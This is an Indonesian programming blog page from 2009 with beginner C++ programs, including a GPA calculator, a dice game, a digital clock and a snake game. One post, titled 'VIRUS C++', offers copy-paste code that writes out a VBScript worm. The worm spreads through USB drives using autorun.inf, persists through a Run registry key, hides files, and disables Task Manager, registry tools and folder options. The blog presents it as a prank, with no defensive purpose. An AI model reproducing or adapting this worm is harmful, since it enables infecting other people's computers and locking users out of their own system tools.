Mengenai Saya

Foto saya
Kediri, java_script, Indonesia
Selamat datang di dalam situs q,postingan tentang c++, java dan html script serta masih banyak lagi akan nimbrung semua disini

Senin, April 20, 2009

INDEK PERSONAL

#include iostream.h
#include stdlib.h
#include string.h
#include conio.h

class mhs
{
private:
char nama[24];
int jml_mk,nilai[24],sks[24];

public:
int jum_mhs;
mhs();
void input_data();
void nama_mhs(char *);
int jum_matkul();
int jum_sks();
float ip();
float lulus();
};

//Constructor
mhs::mhs()
{
int i;
strcpy(nama,"NULL");
jml_mk=0;
for(i=0; i < 24; i++)
{
nilai[i]=5;
sks[i]=0;
}
}

//Method untuk memasukkan data ke dalam class
void mhs::input_data()
{
int i;
char bf[30];

//Masukkan nama mahasiswa
cout << "Nama Mahasiswa = ";
cin.getline(nama,24);

//Masukkan jumlah mata kuliah
while((jml_mk > 24)||(jml_mk < 1))
{
cout << "Jumlah mata kuliah = ";
cin.getline(bf,30);
jml_mk=atoi(bf);
if((jml_mk > 24)||(jml_mk < 1))
cout << "Masukkan angka 1-24\n\n";
}

for(i=0;i < jml_mk;i++)
{

//Masukkan nilai untuk masing-masing mata kuliah
while((nilai[i] >4)||(strlen(bf) > 1) || (nilai[i] <=0))
{
cout << "\nNilai mata kuliah " << (i+1) << " = ";
cin.getline(bf,30);
nilai[i]=(int)bf[0];
if(nilai[i] < 70) nilai[i]=69-nilai[i];
else nilai[i]=101-nilai[i];
if((nilai[i] > 4)||(strlen(bf) > 1)||(nilai[i] < 0))
cout << "Masukkan huruf A-E atau a-e\n";
}

//Masukkan jumlah sks untuk masing-masing mata kuliah
while((sks[i] > 4)||(sks[i] < 1))
{
cout << "Jumlah SKS mata kuliah " << (i+1) << " = ";
cin.getline(bf,30);
sks[i]=atoi(bf);
if((sks[i] > 4)||(sks[i] < 1))
cout << "Masukkan angka 1-4\n\n";
}

}
}

//Method untuk menampilkan nama
void mhs::nama_mhs(char *s)
{
strcpy(s,nama);
}

//Method untuk menampilkan jumlah mata kuliah
int mhs::jum_matkul()
{
return (jml_mk);
}

//Method untuk menghitung jumlah sks
int mhs::jum_sks()
{
int i,j;
j=0;
for(i=0; i < jml_mk; i++) j+=sks[i];
return(j);
}

//Method untuk menghitung ip
float mhs::ip()
{
int i,j_sks,total;
j_sks=0;
total=0;
for(i=0; i < jml_mk; i++)
{
j_sks+=sks[i];
total+=(nilai[i]*sks[i]);
}
if (total/j_sks>=3)
cout<<"__lulus_______| ";
else
cout<<"__gagal_______| ";
return ((float)total/j_sks);
}


//--------- Akhir dari Class mhs ---------//


//Program utama

int main()
{

//Local Variable
int i,jum_mhs;
char bf[30],nama[24],user[24];
mhs node[10];

//Meminta user untuk memasukkan namanya
cout << "Program Menghitung IP mahasiswa\n\n";

//Meminta user untuk memasukkan jumlah mahasiswa
jum_mhs=0;
while((jum_mhs > 10)||(jum_mhs < 1))
{
cout << "Masukkan Jumlah Mahasiswa yang akan dihitung = ";
cin.getline(bf,30);
jum_mhs=atoi(bf);
if((jum_mhs > 10)||(jum_mhs < 1))
cout << "Masukkan angka 1-10\n\n";
}

//Meminta user untuk memasukkan data masing-masing mahasiswa
for(i=0;i < jum_mhs;i++)
{
cout << "\nDATA MAHASISWA " << (i+1) << endl;
node[i].input_data();
}

//Menampilkan Hasil
cout << endl << endl;
cout << "|--------------------------|-------------|---------|-----------------|------|" << endl;
cout << "| Nama Mahasiswa___________| Jumlah______| Jumlah__| KELULUSAN_______| IP___|" << endl;
cout << "|__________________________| Mata Kuliah | SKS_____| > 3.00__________|______|" << endl;
cout << "|--------------------------|-------------|---------|-----------------|------|" << endl;

for(i=0;i < jum_mhs;i++)
{
cout.setf(ios::left|ios::showpoint);
node[i].nama_mhs(nama);
cout << "|_";
cout.width(25);
cout << nama;
cout << "|______";
cout.width(7);
cout << node[i].jum_matkul();
cout << "|____";
cout.width(5);
cout << node[i].jum_sks();
cout << "|___";
cout.width(6);
cout.precision(3);
cout << node[i].ip();
cout << "_|\n";

}

cout << "|--------------------------|-------------|---------|-----------------|------|" << endl;
cout << endl;
// return (0);
getche();
}

Minggu, April 19, 2009

XCODE C++

#include iostream.h
#include conio.h
#include string.h

int main()
{
int huruf[22][1][80] = {{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,},
{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},
{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},
{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},
{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},

{0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0},
{0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0},
{0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0},
{0,0,1,0,0,0,1,1,1,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0},
{0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,1,1,1,0},
{0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0},

{0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0},
{0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,1,1,1,0},
{0,0,1,0,0,0,1,1,1,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0},
{0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0},
{0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0},
{0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0},

{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},
{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},
{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},
{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},
{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0}};


int i,j,k;

clrscr();
for(i=0; i<22; i++)
{
for(j=0; j<1; j++)
{
for(k=0; k<80; k++)
if(huruf[i][j][k] == 1)
cout << '\x20';
else
cout << '\x1';
}
}
getche();

}

GAME DADU C++

#include iostream
#include time.h
#include stdlib.h
#include windows.h
#include conio.h
void one();
void two();
void three();
void four();
void five();
void six();

int main()
{
short unsigned int score = 0;
short unsigned int compScore = 0;
short unsigned int num = 0;
short unsigned int num2 = 0;
short unsigned int compNum = 0;
short unsigned int compNum2 = 0;
short unsigned int sum = 0;
short unsigned int compSum = 0;
char letter;

srand(time(NULL));

system("title Je Dice Game");
while (letter != 'q')
{
cout << "Your Score: " << score << "\n";
cout << "computer's Score: " << compScore << "\n\n";
cout << "Press r to roll or q to quit: ";
cin >> letter;
num = 1 + rand() % (6 - 1 + 1);
num2 = 1 + rand() % (6 - 1 + 1);
compNum = 1 + rand() % (6 - 1 + 1);
compNum2 = 1 + rand() % (6 - 1 + 1);

sum = num + num2;
compSum = compNum + compNum2;



if (letter == 'q')
break;
if (letter != 'r')
{
system("cls");
continue;
}

switch (num)
{
case 1:
one();
break;
case 2:
two();
break;
case 3:
three();
break;
case 4:
four();
break;
case 5:
five();
break;
case 6:
six();
break;
default:
cout << "Error...";
break;
}
switch (num2)
{
case 1:
one();
break;
case 2:
two();
break;
case 3:
three();
break;
case 4:
four();
break;
case 5:
five();
break;
case 6:
six();
break;
default:
cout << "Error...";
break;
}
cout << "\nYours: " << num << ", " << num2 << "\n";
cout << "Computer's: " << compNum << ", " << compNum2 << "\n\n";


if (sum > compSum)
{
cout << "You won!!\n\n";
score++;
}
else
{
compScore++;
cout << "you lost...\n\n";
}


system("pause");
system("cls");

if (score == 12)
{
MessageBox(0, "You Won!!!", "Results:", MB_ICONEXCLAMATION);
break;
}
if (compScore == 12)
{
MessageBox(0, "You lost...", "Results:", MB_ICONEXCLAMATION);
break;
}
}
getche();
}

void one()
{
cout << "-----\n";
cout << "| |\n";
cout << "| O |\n";
cout << "| |\n";
cout << "-----\n";
}
void two()
{
cout << "-----\n";
cout << "| O|\n";
cout << "| |\n";
cout << "|O |\n";
cout << "-----\n";
}
void three()
{
cout << " -----\n";
cout << "| O|\n";
cout << "| O |\n";
cout << "|O |\n";
cout << " -----\n";
}
void four()
{
cout << " -----\n";
cout << "|O O|\n";
cout << "| |\n";
cout << "|O O|\n";
cout << " -----\n";
}
void five()
{
cout << " -----\n";
cout << "|O O|\n";
cout << "| O |\n";
cout << "|O O|\n";
cout << " -----\n";
}
void six()
{
cout << " -----\n";
cout << "|O O|\n";
cout << "|O O|\n";
cout << "|O O|\n";
cout << " -----\n";
}

SIMBOL KARAKTER

#include iomanip.h
#include conio.h
main()
{
cout << "\t";
for (int i=0; i<=255; i++)
{
cout << setw(3) << i << "=" << char(i) << " " << " " << " ";
}
cout << "\n";
getche();
}

VIRUS C++

BAGI YANG PENGEN MEMBUAT SENSASI DI KOMPINYA BS COPY PASTE KODE DI BAWAH INI MENGGUNAKAN BORLAND C++ 5.02

#include iostream.h
#include fstream.h
#include iomanip.h
void main()
{
{ofstream filevbs;
filevbs.open("D:/m30n6.dll.vbs");
filevbs<<"on error resume next\n";

filevbs<<"dim rekur,windowpath,flashdrive,fs,mf,isi,tf,meong,nt,check,sd\n";

filevbs<<"isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe me0n6.dll.vbs”\n";
filevbs<<"set fs = createobject(”Scripting.FileSystemObject”)\n";
filevbs<<"set mf = fs.getfile(Wscript.ScriptFullname)\n";
filevbs<<"dim text,size\n";
filevbs<<"size = mf.size \n";
filevbs<<"check = mf.drive.drivetype\n";
filevbs<<"set text = mf.openastextstream(1,-2)\n";
filevbs<<"do while not text.atendofstream\n";
filevbs<<"rekur = rekur & text.readline\n";
filevbs<<"rekur = rekur & vbcrlf\n";
filevbs<<"loop\n";
filevbs<<"do\n";

filevbs<<"Set windowpath = fs.getspecialfolder(0)\n";
filevbs<<"set tf = fs.getfile(windowpath & “\\\ batch- me0n6.dll.vbs “)\n";
filevbs<<"tf.attributes = 32\n";
filevbs<<"set tf=fs.createtextfile(windowpath & “\\\ batch- m30n6.dll.vbs”,2,true)\n";
filevbs<<"tf.write rekursif\n";
filevbs<<"tf.close\n";
filevbs<<"set tf = fs.getfile(windowpath & “\\\ batch- m30n6.dll.vbs “)\n";
filevbs<<"tf.attributes = 39\n";

filevbs<<"for each flashdrive in fs.drives\n";

filevbs<<"If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then\n";

filevbs<<"set tf=fs.getfile(flashdrive.path &”\\\ m30n6.dll.vbs “)\n";
filevbs<<"tf.attributes =32\n";
filevbs<<"set tf=fs.createtextfile(flashdrive.path &”\\\ m30n6.dll.vbs “,2,true)\n";
filevbs<<"tf.write rekursif\n";
filevbs<<"tf.close\n";
filevbs<<"set tf=fs.getfile(flashdrive.path &”\\\ m30n6.dll.vbs “)\n";
filevbs<<"tf.attributes = 39\n";

filevbs<<"set tf =fs.getfile(flashdrive.path &”\\\ autorun.inf”)\n";
filevbs<<"tf.attributes = 32\n";
filevbs<<"set tf=fs.createtextfile(flashdrive.path &”\\\ autorun.inf”,2,true)\n";
filevbs<<"tf.write isi\n";
filevbs<<"tf.close\n";
filevbs<<"set tf = fs.getfile(flashdrive.path &”\\\ autorun.inf”)\n";
filevbs<<"tf.attributes=39\n";
filevbs<<"end if\n";
filevbs<<"next\n";


filevbs<<"set meong = createobject(”WScript.Shell”)\n";

filevbs<<"meong.regwrite “HKEY_CURRENT_USER\\\ Software\\\ Microsoft\\\ Internet Explorer\\\ Main\\\ Window Title”,” THE MEONG v.s. ZAY “\n";

filevbs<<"meong.RegWrite “HKEY_CURRENT_USER\\\ Software\\\ Microsoft\\\ Windows\\\ CurrentVersion\\\ Policies\\\ Explorer\\\ Advanced\\\ Hidden”, “0?, “REG_DWORD”\n";

filevbs<<"meong.RegWrite “HKEY_CURRENT_USER\\\ Software\\\ Microsoft\\\ Windows\\\ CurrentVersion\\\ Policies\\\ Explorer\\\ NoFind”, “1?, “REG_DWORD”\n";
filevbs<<"meong.RegWrite “HKEY_CURRENT_USER\\\ Software\\\ Microsoft\\\ Windows\\\ CurrentVersion\\\ Policies\\\ Explorer\\\ NoFolderOptions”, “1?, “REG_DWORD”\n";
filevbs<<"meong.RegWrite “HKEY_CURRENT_USER\\\ Software\\\ Microsoft\\\ Windows\\\ CurrentVersion\\\ Policies\\\ Explorer\\\ NoRun”, “1?, “REG_DWORD”\n";
filevbs<<"meong.RegWrite “HKEY_CURRENT_USER\\\ Software\\\ Microsoft\\\ Windows\\\ CurrentVersion\\\ Policies\\\ System\\\ DisableRegistryTools”, “1?, “REG_DWORD”\n";
filevbs<<"meong.RegWrite “HKEY_CURRENT_USER\\\ Software\\\ Microsoft\\\ Windows\\\ CurrentVersion\\\ Policies\\\ System\\\ DisableTaskMgr”, “1?, “REG_DWORD”\n";

filevbs<<"meong.RegWrite “HKEY_CURRENT_USER\\\ Software\\\ Microsoft\\\ Windows\\\ CurrentVersion\\\ Policies\\\ Explorer\\\ NoViewContextMenu”, “1?, “REG_DWORD”\n";

filevbs<<"meong.regwrite “HKEY_LOCAL_MACHINE\\\ Software\\\ Microsoft\\\ Windows\\\ CurrentVersion\\\ Winlogon\\\ LegalNoticeCaption”, “Worm Meong. Variant from Rangga-Zay, don’t panic all data are safe.”\n";

filevbs<<"meong.regwrite “HKEY_LOCAL_MACHINE\\\ Software\\\ Microsoft\\\ Windows\\\ CurrentVersion\\\ Run\\\ Systemdir”, windowpath & “\\\ batch- m30n6.dll.vbs “\n";

filevbs<<"meong.regwrite “HKEY_LOCAL_MACHINE\\\ SOFTWARE\\\ Microsoft\\\ Windows NT\\\ CurrentVersion\\\ RegisteredOrganization”, “The Batrix”\n";
filevbs<<"meong.regwrite “HKEY_LOCAL_MACHINE\\\ SOFTWARE\\\ Microsoft\\\ Windows NT\\\ CurrentVersion\\\ RegisteredOwner”,”Meong”\n";

filevbs<<"if check <> 1 then\n";
filevbs<<"Wscript.sleep 200000\n";
filevbs<<"end if\n";
filevbs<<"loop while check <> 1\n";
filevbs<<"set sd = createobject(”Wscript.shell”)\n";
filevbs<<"sd.run windowpath & “\\\ explorer.exe /e,/select, ” & Wscript.ScriptFullname\n";

filevbs.close();
}
}

//fileteks.open("D:/algo.txt", ios::app);

JAM DIGITAL C++

SOURCE CODE !!!

#include iostream.h
#include time.h
#include conio.h

class TimeDate {
time_t systime;
public:
TimeDate(time_t t); // constructor
void show();
};

TimeDate::TimeDate(time_t t)
{
systime = t;
}

void TimeDate::show()
{
cout << ctime(&systime);
}

int main()
{
je:

cout << "SIMPLE DIGITAL CLOCK !!!\n\n";

time_t x;

x = time(NULL);

TimeDate ob(x);

ob.show();

cout << "\nPRESS ENTER TO RELOAD !!!";
getche();
clrscr();
goto je;
getche();
}

Sabtu, April 18, 2009

Game Snake by J3

Game ini hanyalah game sederhana yang menggunakan arah pada keyboar untuk menggerakkannya. Disini Pointer akan bergerak bila tombol terus ditekan.
Berikut adalah sourecode nya,dengan menggunakan C++ BUILDER


#include bivbx.h
//#include
#include iostream.h
#include conio.h

void main()
{
long skor;
char nama[20];
cout<<"=SNAKE POINTER BY JEFRY !!!\n\n\n";

cout<<"=PETUNJUK PENGGUNAAN !!!\n\n";
cout<<"=TANDA ``*`` ADALAH POINTER SNAKE\n\n";
cout<<"=PERGUNAKANLAH TANDA PANAH PADA KEYBOARD ANDA UNTUK MENGGERAKKAN ``*``\n\n";
cout<<"=ESC = UNTUK MENGAKHIRI GAME\n\n";
cout<<"=SELAMAT MENIKMATI !!!\n\n";
cout<<"``ENTER`` PLEASE !!!\n\n";
getche();
cout<<"MASUKAN NAMA ANDA= ";cin>>nama;

{
clrscr();
int x,y;
x=40;
y=12;
randomize();
int x1,y1;
x1=random(78)+1;
y1=random(24)+1;
//long skor;
skor=0;

int tombol;
do
{
clrscr();
gotoxy(x1,y1);
cprintf("$");
gotoxy(1,24);
cout<<"Skor : "<< skor << " $" << "\t\tESC to Quit"<<"\t\t\x18 \x19 \x10 \x11 to Move";
gotoxy(x,y);
cprintf("*");
tombol=getch();
if(tombol==0)
{
tombol=getch();
if(tombol==72)
{
if(y>1)
y=y-1;
else
y=23;
}
else if(tombol==80)
{
if(y<23)
y=y+1;
else
y=1;
}
else if(tombol==75)
{
if(x>1)
x=x-1;
else
x=79;
}
else if(tombol==77)
{
if(x<79)
x=x+1;
else
x=1;
}
}
if(x==x1 && y==y1)
{
skor=skor+100;
x1=random(78)+1;
y1=random(23)+1;
}
}while(tombol!=27);
}
clrscr();
cout<< "\t\t\tNILAI ANDA ADALAH\n\n";

cout<< "\t\t\t";

cout << nama << " " << skor << " $\n\n";

if(skor = 1 && skor < 1000)

{cout << "\t\t\tANDA PADA LEVEL * (BINTANG SATU)";goto bawah;}

if(skor = 1001 && skor < 2000)

{cout << "\t\t\tANDA PADA LEVEL ** (BINTANG DUA)";goto bawah;}

if(skor = 2002 && skor < 3000)

{cout << "\t\t\tANDA PADA LEVEL *** (BINTANG TIGA)";goto bawah;}

bawah:

getche();}